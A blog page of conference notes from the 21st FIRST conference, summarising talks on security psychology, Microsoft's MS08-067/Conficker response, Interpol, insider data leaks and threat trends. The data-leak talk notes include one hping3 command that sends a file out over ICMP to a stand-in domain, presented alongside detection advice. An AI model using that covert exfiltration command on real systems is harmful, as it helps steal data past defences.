Cатсн²² (in)sесuяitу / ChrisJohnRiley

Because we're damned if we do, and we're damned if we don't!

Tag Archives: incident response

21st FIRST Conference – Day 2

I’m still not over the jet-lag, but still, day 2 of FIRST rages on. The pre-conference talk started with the announcement that Interpol have been accepted as an official FIRST member. The winners of the best practices contest (this years focus was on detection of attacks) were announced, with CISCO CSIRT taking the award with a paper on Netflow (the papers should be available on the FIRST website later today). Second place was awarded to CERT-FI.


09:00 Reconceptualizing Security – Bruce Schneier

Thinking about what security and risk means and how we deal with it. Security by definition involves human beings. We need to define how people think about security. You can have security without actually feeling secure. You can feel secure when you’re not. These are 2 different things. A separation should be made between the feeling of security and the reality of security.

Security is a trade-off. Giving up something in order to gain a degree of security. However what is given up needs to worth the trade-off. Whether or not something is worth it comes down to a personal choice. People have a natural intuition when it comes to security. Although humans are on one hand good at evaluating their security, they can also sometimes be very bad. This is what drove Bruce to research the “The Psychology of Security“.

Humans are built to make quick decisions. Getting the good answer fast is better than getting the best answer slow.

Humans rationalise the familiar as more secure than unfamiliar. People are afraid to fly, yet are happy to drive, although the risk is higher. 42,000 people die every year in the US from car accidents. This figure is much higher than plane accidents. Humans overreact to rare risks more than risks we accept everyday. We
will be more likely to stop doing something if a close friend is
effected than if many many people who we don’t know are effected.

The economic incentive is to make people feel secure. However the feeling and reality don’t always match.

Discussion of the various mental models based on experience, press, government, industry and human feelings. Humans are better at focusing on risks that are in the short-term, and are very bad at realising risk that is far off.

Security decisions are often made for reasons with nothing to do with security. The person making the decision will manipulate the model based on their view of reality and their requirements. Stakeholders will try to convince others that their views are correct.

If you believe something, then evidence against that belief will often be ignored, were positive evidence will reinforce that belief.

Flashbulb moments that change peoples mental models – 9/11 Terrorist attacks and the JFK assassination are examples of US flashbulb moments. Each culture has their own.

Change happens slows. Even easy changes such as changing peoples smoking habits have taken decades. People are quick to reject new models if they don’t agree with our feelings. Our feeling on global warming (what we see in-front of us) doesn’t always agree with the new scientific model of what will happen.

Security reality and security feeling should be balanced. If people feel insecure they will not trust the technology, if they feel too secure they will be at risk.

All effort is put into feeling secure. Some part of that however spills over into the reality of being secure. Some things that are implemented to increase the feeling of security in-fact lower the reality of security.

Building a surveillence infrastructure makes us less secure.

Economics doesn’t support security and reliability. Features are the main driving force in technology.

11.00 Network Monitoring Special interest group: Monitoring & Analyzing Client-side Attacks

This special interest group was in the form of a workshop.

You can download the vmware image (Debian), PDFs and PCAP files used in the workshop – HERE.

The demos focus on client-side / drive-by downloads using examples for fast-flux and non-fast-flux style attacks. The workshop uses a downloadable Debian VM with some self developed tools (based on Rhino).

I opted to skip the afternoon section of the workshop. I’ll work on the exercises on the plane home 😉

13:30 Comprehensive Response: A Bird’s eye view of Microsoft Critical Security Update MS08-067 – Microsoft

Microsoft Security Response Center / Microsoft Malware Protection Center give an overview of Microsoft’s response to the MS08-067 vulnerability and the rise of conficker.

The MSRC has 3 main areas of responsibility .:

  • Investigate and Resolve Vulnerability Reports
  • Microsoft Security Response Process
  • Building Relationships and Communications

When releasing a security update Microsoft follow a dual track to manage and deal with the patching process

  1. Vulnerability Reporting
  2. Triaging
  3. Managing Finder Relationship
  4. Content Creation
  5. Release

In tandem with the above process (at steps 2-4), a technical fix is developed and tested.

  1. Creating the Fix
  2. Testing
  3. Update Dev Tools and Practices

A lot of effort is put into the testing phase to ensure that the patch deals with the issue, doesn’t create other issues (security or non-security related), and is compatible with other products.

Microsoft release day means staff getting in at 6am to monitor the process and make sure everything runs smoothly.

MS08-067 (October 2008)

  • Vulnerability found in Windows Server Service (netapi32.dll)
  • Wormable
  • Large install base
  • Exploit and limited attacks known; widespread malware probable

This vulnerability was discovered through the customer support services department. A specific crash was reported by a customer who was experiencing issues. Originally though to be another attack attempt against the flaw originally patched in MS08-040. During further research it was found to be a seperate vulnerability.

The vulnerable function is the ConvertPathMacros function

  • Exposed via anonymous RPC endpoint
  • Replaces path macros (\– and \)
    • Normal usage \foo\bar\..\bas -> \foo\bas
    • Normal usage \foo\bar\.\bas -> \foo\bas

This attack string forces the ConvertPathMacros to look back into the stack for the previous slash. Some pre-staging of the atack must be made to trigger the exploit.

By using fuzzing it was possible to trigger the vulnerability and search for possible varriations of the attack. Microsoft didn’t want to fix netapi32.dll again (after already fixing it in MS06-040 and MS06-070). So all cases were tested to make sure it was done right.

MAPP partners were provided with packet captures, safe PoC, technical description, information about the malware currently exploiting the vulnerability, stack traces.

Through the security bulletin customers were given workarounds – Block SMB, Stop services, Vista\WS08 RPC firewall rule to block UUID, Chacl tool to change named pipe ACL

Response Timeline .:

Oct 6th – Received notification of vulnerability
Oct 6th – Reproduced vulnerability on reported platform (XP SP2)
Oct 6th-10th – Begin testing other effected platforms
Oct 10th-22nd – Fix developed and core baseline of testing completed (due to out-of-band release)
Oct 23rd – Patch pushed out through all update platforms (WSUS, Windows Updates, etc…)

The process of releasing this patch was compressed from a 2 month process into a 17 day process due to the severity. Despite this work, customers complained about the patch coming out-of-band. Microsoft rarely release out-of-band patches (In 2008 Microsoft only released 2 out-of-band patches).

Analysis showed that malware was exploiting this flaw beginning on 13/08/2008 – These were targeted attacks designed to drop TrojanSpy:Win32/Gimmiv onto the system. Data was then collected and sent to a server in Japan. Detection for Gimmiv was added into the MSRT tool in November.

After the patch was released more trojans began to use the exploit (Trojan:Win32/Wecorl, Trojan:Win32/Clort). The first worm using this exploit (Conficker) was seen on 21st November. The code used in Conficker didn’t appear to be linked to the earlier team who developed Wecorl/Clort.

The name Conficker was from a string found while Microsoft analyzed the original variant (Traffic-converter.biz).

Conficker B was less about exploiting vulnerabilities and more about testing company best practices (weak passwords, autorun, local administrative permissions, etc…)

Comparison between the various versions of Conficker.

  • Variant A – Spread only through the MS08-067 exploit
  • Variant B – Began to brute-force network shares, infecting network/removable drives, and using scheduled tasks to run the worm on remote machines.
  • Variant C – No new infection methods – Added P²P communications
  • Variant D – No infection required – distributed as an update to previously infected systems (B and C variants)
  • Variant E – No infection required – distributed as an update to previously infected systems (B, C and D variants)

It’s impossible for one vendor to do everything alone. Collaboration across the industry is vital in fighting people who distribute malware.

Around 100 people at Microsoft worked on the MS08-067 / Conficker problem between all phases of the incident. This raises an issue of scalability. If multiple issues like Conficker hit at the same time, then there may be problems handling the load (as yet untested).

16:00 INTERPOL Initiatives to Enhance Cyber Security – Vincent Danjean

Interpol was created in 1923 and is the worlds largest international police organisation with 187 member countries.

There were a lot of statics and information presented on success stories. I’d suggest taking a look at the slides as there is very little point in me reprinting the statistics and facts. The information is a little dry however. So you have been warned 😉

Well that the end of day 2. It’s been another long day. time for that beer…

I managed to have a long chat with Sherri Davidoff and Johnathon Ham today after the client-side attack workshop. Johnathon managed to finish the first exercise within a few minutes while most of us were still looking for the right PCAP file. His strategy for the analysis was so straight forward, but very effective for quick analysis of captures. I always enjoy talking to people smarter than me (it happens a lot) as I get learn something new. I’m looking forward to Sherri’s talk at Defcon as well. It sounds like it’ll be really interesting.

Tonight is the vendor showcase. Normally I shy away from that kind of marketing event, but they have beer 😉 Tomorrow I’ll be attending the volatility workshop held by Andreas Schuster (it’s going to be a day of fun playing in memory). So the blog might be a littler short tomorrow. Maybe that’s a good thing though. I talk too much…


21st FIRST Conference – Day 1

Well I’m finally over my jet-lag, ok, almost over my jet-lag, and day 1 of the 21st FIRST conference is just about complete. I managed to hit a few interesting talks today. Not all of them were public information, but I’ve written up some notes from the ones that were for your enjoyment. Short note, this isn’t a high-tech conference like Blackhat, so if you think the information is a little high-level, then you’ll understand why. The focus of the conference is more in Incident Response and Handling, than my usual attack vectors stuff, but so far it’s been  a great experience. Hope you enjoy the write-up.


09:00 Information Security Management and Economic Crisis – Suguru Yamaguchi

I know that keynotes are usually meant to be dry and a little bit boring (sorry, but you can’t sugar coat the truth), however I decided to risk it and pop in to see what was on offer. It seems that nobody told Mr Yamaguchi that he was meant to be boring, which made for a bit of a surprise. After a quick guide to what to see in Kyoto (along with shopping tips) and some historical information about Japan (any why the food was much better here in Kyoto than in Tokyo) the talk moved into the more serious side of risk management in the current economic climate. The topics covered were varied, so stay with me if it seems a little chaotic.

Economic Crisis / time of “less”

The initial focus was on the use of technology in Japan to automate and streamline services such as speed/control systems used in the Japanese bullet trains, management of the Tokyo underground network, RFID for stock tracking/distribution management (to automate shipping of stock to locations depending on demand) and water control/flow management. The use of technology is also now working it’s way into smaller businesses such as taxi services (using TCP/IP connected terminals in the cabs to transmit requests and improve management of services). IT is now a vital component of all businesses, not just large multi-nationals, but also the smaller businesses are becoming more reliant on these systems for everyday business purposes.

“perimeter protection model” doesn’t work anymore

With the increase in outsourcing, ASP, SaaS and cloud computing the perimeter is much more fluid and undefined. Services are now from entities in other countries. Different rules, laws and standards.

Risks have changed dramatically

  • Quality and Quantity of “attacks”
  • Economic damages
  • Who is attacking / being attacked

“Public Private Partnership” –> Government policy to encourage knowledge sharing across business domains (especially critical infrastructure)

Main goals set in 2006 (in Japan), new goals to be reviewed in 2009 .:

  • More preparedness
  • More scientific approach
  • Share risk between business and government

The economic crisis have caused costs to be cut in various ways. Less investment in information systems (including information security management). Slow down of innovations, upgrades and improvements. As the headcount lowers, companies are unable to innovate and adapt as easily as before.

Mission impossible for system operators. Lower budgets, less staff and increase in security incidents (rise in data loss/theft issues). Cost savings and security assistance can be achieved through the use of virtualization and BYO (Bring Your Own) laptop schemes. BYO – Using personal laptops for business uses. Based on virtualization or thin-client solutions. Reduces costs and can help improve security.

Real-time 3D visualization by Nicter (Network Incident analysis Center for Tactical Emergency Response)

Use of visualization in comparing attack traffic to normal traffic. By using this technique it is easy to see portscans, DoS attempts and a variety of other attack types visually and in real-time. Helps to streamline information management in a time when less needs to do more.

Invisible computers a growing risk. Electronics that are not traditional computers, but operate on the TCP/IP networks (HD-Recorders, Set-Top boxes, etc….) These systems are more vulnerable and open to abuse. Attacks routed through these devices have started to be seen in the wild in Japan.

13:30 Proprietary data leaks: Response and Recovery – Sherri Davidoff / Johnathon Ham

Scenario: Attacker has physical access

Attacker Profile: Staff member, cleaning staff, security guards, etc…

Spybase Wireless Keylogger ($285 Amazon)

  • Install once and access through wireless to download the data
  • Staff are unaware/untrained on what to check for on a system to check for a keylogger

Questions to ask in a response scenario

  • How long has the keylogger been installed ?
  • Who planted it ?
  • What information has been exposed ?
  • What other systems could be exposed ?

Keyloggers have serial numbers, many manufacturers will provide information on sales to law enforcement in the event of an incident. Track other systems that have had the same device installed. Often the attacker has tested it on his/her own machine first. If this is an internal staff member, then this may be a source of information.

USB devices come in many different formats. Pens, wristbands, iPods, Sushi (yes as seen in Johnny Long’s presentation), and many different places to hide things like micro-SD. Ironkey have a professional USB that supports remote wipe. If you recover this kind of USB in an incident response, store in a suitable bag to block incoming wipe commands.

Sherri performed a live demo that demonstrated how easy it is to download data from a system to a phone connected through USB. By using encryption and deleting the key after encryption it is possible to prevent a responder identifying what data was copied.

In physical access cases .:

  • Monitor account/system usage
  • Preserve evidence / chain of custody
  • Determine type of affected data
  • Contact legal advisers
  • Lockout / monitor (depending on situation)
  • Identify systems that could also be exposed

Scenario: Attacker Logical Access

Use of convert channels to ex-filtrate the data without triggering defenses

Examples of covert channels :

  • ICMP Echo Request Tunneling (Loki)
    • Implemented using HPING3 -E secret.xls -1 -u -d 1024 nonexistent.domain.com
    • Capture using TCPDUMP

Hard to track where the data is going (ICMP to a nonexistent domain). Attacker must be somewhere in the line to capture the data using TCPDUMP. Open in Wireshark and then carve out the file.

How to protect against this ?

  • Track the data export at the database
  • Log commands run on servers / applications installed on servers
  • Should this server be sending Echo Requests ? Block and Log
  • Watch for proprietary data on the wire (in cleartext)
    • Using RegEx to detect set data
    • Implement using something like SNORT

Use Honeytokens to trigger alerts. Insert dummy records into the database (that should never be returned unless the whole table is dumped), files with seemingly interesting data (passwords.xls) which are present in a non-browsable area of your website. Insert code-comments into the source-code of your internally developed applications and create rules to alert/block traffic leaving your network with these comments.

Doesn’t prevent exposure, doesn’t provide the depth of the issue, however the first piece of the puzzle is being aware that something bad is happening.

Issues: Encryption of the data will prevent this honeytoken being tracked.

Solution: Frequency analysis – Detect the frequency of hex values to discover if the data is encrypted. Search and alert on encrypted data where it is not part of the normal traffic pattern. Entropy-based anomaly detection detection through the SNORT platform. No plugin yet for this purpose. Stay tuned…

Last point of recovery process needs to be an improved preventative posture. Lessons learned.

What we’ve learned :

  • Think like an evil insider
  • Log everything possible to improve the scoping of the breach

14:30 Using Social Media in Incident Response – Martin McKeay

Staff / Responders that use social media are releasing information live as it comes in. Due to the fact this is a live response, it can often be more about emotion than about fact. Company policy for electronic media (including social media) isn’t set in a majority of companies. Those that do have a policy do not always enforce the policy, or make staff aware of their responsibilities.

Companies are slow to come to social networking and are seeing issue when they look to claim their company name or trademark. Who is currently using your company name on Twitter, Facebook, MySpace, etc… ? Incidents of non-staff taking the name of companies and using it to communicate as if they are the company. There are also cases of unauthorized staff using the company name within social networking sites or blogs. Readers of official company blogs and social media services are unforgiving when it comes to pure marketing and sales messages. In order to be a useful communication tool for handling and communicating incidents, you have to build followers and readers prior to having an incident. This takes more than just posting up marketing information and expecting people to listen.

Company policy should dictate what happens when an incident occurs. If you suddenly stop twittering/blogging then people will notice and think the worst. News travels fast on social networks, and unless you supply the news, this information can come from any source and be based on pure speculation. AT&T outage can be used as a good example. In the case of AT&T, many users one Twitter where mapping out the areas suffering a connection outage although AT&T didn’t talk about the issue openly. This has caused damaged to AT&T’s reputation.

Key points .:

  • Assign person who will communicate
  • Policy on what to communicate
  • Who is dealing with Blogesphere / Social Media

16:30 Emerging Threats and Attack Trends – Paul Oxman

Threats are moving up the stack towards targeting individuals.

Designer malcode is now being developed using bleeding edge software development techniques and protections. As with other software maturity models, malware has also begun to adopt the same processes. Backup Malcode is being made available to customers in order to replace the original once AV vendors catchup and start detecting the attack code.

Large-scale worms are getting rarer as attacks become more targeted and selective. As the large-scale attacks drop, the cybercrime profits have increased. Email as an attack vector is also slowing as web based vectors increase in popularity. Blended attacks are becoming more prevalent.

Cyber-terrorism – Future conflicts are much more likely to have a cyber element to them.

2008 Security

  • 70% of the top 100 websites pointed to (or contained) malware
  • Number of vulnerabilities up 11% from 2007
  • Reputation HiJacking on the increase
  • Attacks are more targeted to help maximize effectiveness
  • More reliance on blended threats

Issues of hardware being infected at “source” to catch consumers off guard. A user is more likely to accept an install request when you plugin a new device (i.e. digital photo-frame).

Attackers are taking information gathered from phishing attacks and using it on various popular services to catch users who are relying on a limited set (or even just one) password for multiple services/sites.

July 2008 – 45% of browsers still vulnerable despite auto-update features.

Malware targeting current events (Olympics was a prime target for attack). The fake Olympics website netted 40-50 Million USD, and gathered username/passwords for further attacks on websites.

Known vulnerabilities are left unpatched. Attackers don’t have to come up with 0-day attacks if they can exploit know issues.

Case study of how the creators of conficker evolved their attack by updating from MD5 to MD6 and then patching a flaw in MD6 when it was found to be vulnerable. 85% of code was replaced from 1 version to another. Not your average malware.

Threats on the horizon:

  • SMS vishing
  • Extensive social engineering
  • More highly targeted attacks
  • Attacks on mobile devices (different OS an issue for attackers)
  • Using video sharing sites as a method for distribution of malware

Incident response. The most important factors are preparation for the (inevitable) attack/incident, and the post-mortem to learn from your response (often forgotten or skipped).

Well that’s all from day 1. No sushi yet, but the night is young. More to follow after day 2 😉